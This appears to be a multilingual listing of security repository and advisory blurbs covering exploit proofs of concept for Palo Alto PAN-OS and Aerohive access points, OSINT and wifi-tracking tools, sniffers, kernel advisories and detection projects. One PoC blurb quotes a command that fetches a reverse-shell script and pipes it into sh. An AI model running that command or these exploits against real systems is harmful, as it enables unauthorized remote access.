emuko

emuko Un emulatore RISC-V in Rust. Avvia Linux. emuko.dev La macchina implementa RV64IMAFDC con livelli di privilegio M/S/U e memoria virtuale Sv39. Esegue un JIT su host ARM64 e x8664, ricadendo su un interprete quando necessario. Le periferiche sono UART 16550, CLINT, PLIC e SBI 1.0. C'è una...

CVE-2024-0012

CVE-2024-0012 CVE-2024-0012 是 Palo Alto Networks PAN-OS 软件中的一个身份验证绕过漏洞，允许未经验证的攻击者通过网络访问管理 Web 界面来获取 PAN-OS 管理员权限，从而执行管理操作、篡改配置或利用其他经过身份验证的权限提升漏洞。 截图 ❗ 免责声明 --- 本项目主要设计为独立的 CLI 工具。将此漏洞利用程序作为服务运行可能会带来安全风险。 建议谨慎使用并采取额外的安全措施。DWYOR 用法...

opensoho

Attenzione: questa è una versione preliminare; si prega di leggere le note di rilascio di TUTTE le versioni rilasciate fino ad ora OpenSOHO Documentazione OpenSOHO è progettato per gestire un piccolo numero di dispositivi di rete basati su OpenWRT. Da qui il nome SOHO, da Small Office Home Office...

CVE-2023-35803

CVE-2023-35803 - Nicht authentifizierte RCE in Extreme Networks/Aerohive Wireless Access Points PoC für ARM-basierte Access Points mit HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup hier: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

Emora-Project

Emora Emora è uno strumento OSINT che ti permette di cercare account tramite username su vari social network. Ispirato a strumenti come Sherlock, Emora offre un'interfaccia grafica intuitiva per facilitare l'uso e la navigazione tra i risultati. Panoramica Panoramica Mostra Installazione Utilizzo...

CVE-2024-3400-POC

CVE-2024-3400 Script di Test RCE Panoramica Questo script Python è progettato per testare una vulnerabilità di esecuzione remota di codice RCE, specificamente CVE-2024-3400, che colpisce alcuni portali GlobalProtect di Palo Alto Networks. La vulnerabilità consente l'esecuzione non autorizzata di...

Unit42-timely-threat-intel

Unit42-Timely-Threat-Intel Questo repository contiene file con indicatori a supporto di post sui social media progettati per diffondere dati tempestivi di threat intelligence dal team Unit 42 di Palo Alto Network. Queste informazioni sono fornite "così com'è" al pubblico...

trackerjacker

trackerjacker Like nmap for mapping wifi networks you're not connected to. Maps and tracks wifi networks and devices through raw 802.11 monitoring. PyPI page: https://pypi.python.org/pypi/trackerjacker Install root@kitploit: pip3 install trackerjacker Supported platforms : Linux tested on Ubuntu,...

sniffglue

sniffglue sniffglue is a network sniffer written in rust. Network packets are parsed concurrently using a thread pool to utilize all cpu cores. Project goals are that you can run sniffglue securely on untrusted networks and that it must not crash when processing packets. The output should be as...

USN-8666-2 linux-azure-5.4, linux-azure-fips vulnerabilities

Siebe Devroe, Héloïse Gollier, and Mathy Vanhoef discovered that the WiFi implementation in the Linux kernel did not properly handle aggregated frames in mesh networks, due to an incorrect fix for CVE-2020-24588. A physically proximate attacker could use this issue to inject packets. CVE-2025-275...

SOC274-Palo-Alto-Networks-PAN-OS-Command-Injection-Vulnerability-Exploitation-CVE-2024-3400

SOC274 - Palo Alto Networks PAN-OS कमांड इंजेक्शन लैब अवलोकन यह रिपॉजिटरी SOC274 लैब अभ्यास के लिए सहायक सामग्री रखता है, जो Palo Alto Networks PAN-OS कमांड इंजेक्शन भेद्यता पर केंद्रित है। लैब वॉकथ्रू इस Let's Defend SOC लैब के विस्तृत वॉकथ्रू के लिए, कृपया देखें: SOC274 लैब वॉकथ्रू सामग्री...

Palo Alto Expedition - SQL Injection

An SQL injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expeditio...

cs50-cyber-paloalto-oauth

Progetto Finale di Cybersecurity CS50 Titolo: La violazione OAuth di Salesloft e CVE-2024-3400 impatto Palo Alto Autore: Yafiya Darwesh GitHub: Yafiah-Darwesh Video YouTube: https://youtu.be/CxQNj9qWoZ0?si=cHCwuTIY26YHJ8aw CVE: CVE-2024-3400 File presentation.pdf — diapositive script.txt — note p...

msnm-sensor

Descrizione MSNM-S Multivariate Statistical Network Monitoring-Sensor mostra l'idoneità pratica degli approcci trovati in PCA-MSNM e in Hierarchical PCA-MSNM lavori. Il primo presenta l'approccio MSNM e una nuova metodologia statistica multivariata per il rilevamento di anomalie di rete, mentre i...

CVE-2007-6638

CVE-2007-6638 March Networks DVR 3204 - كشف معلومات ملف السجل منشور Exploit-DB على https://www.exploit-db.com/exploits/4797/ المؤلف Alex Hernandez المعروف بـ @alt3kx...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: Wifi: Prevent A-MSDU attacks in mesh networks This patch is a mitigation measure to prevent the A-MSDU spoofing vulnerability in mesh networks. The initial update to the IEEE 802.11 standard, in response to FragAttacks, overlooke...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.10, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: Wifi: cfg80211: A use-after-free issue was addressed in the cmpbss function. This issue was introduced due to a quirky behavior of the bssfree function introduced in commit 776b3580178f „cfg80211: Properly track hidden SSID...

fastnetmon

Community Edition FastNetMon - A high-performance DDoS detector/sensor built on top of multiple packet capture engines: NetFlow, IPFIX, sFlow, AFPACKET port mirror. What do we do? We detect hosts in the deployed network sending or receiving large volumes of traffic, packets/bytes/flows per second...

HoneyWire

HoneyWire 📋 Inhaltsverzeichnis Übersicht Showcase Der universelle Ereignisstandard Funktionen Architektur Schnellstartanleitung Sicherheitshinweise Tech-Stack Versionierung und API-Referenz Übersicht HoneyWire ist ein leichtgewichtiger, verteilter Security-Frühwarnsystem-Builder mit hohem...

robustness

pacchetto robustness Installa via pip: pip install robustness Leggi la documentazione: https://robustness.readthedocs.io/en/latest/index.html robustness è un pacchetto che noi studenti del MadryLab abbiamo creato per rendere flessibile e semplice l'addestramento, la valutazione e l'esplorazione d...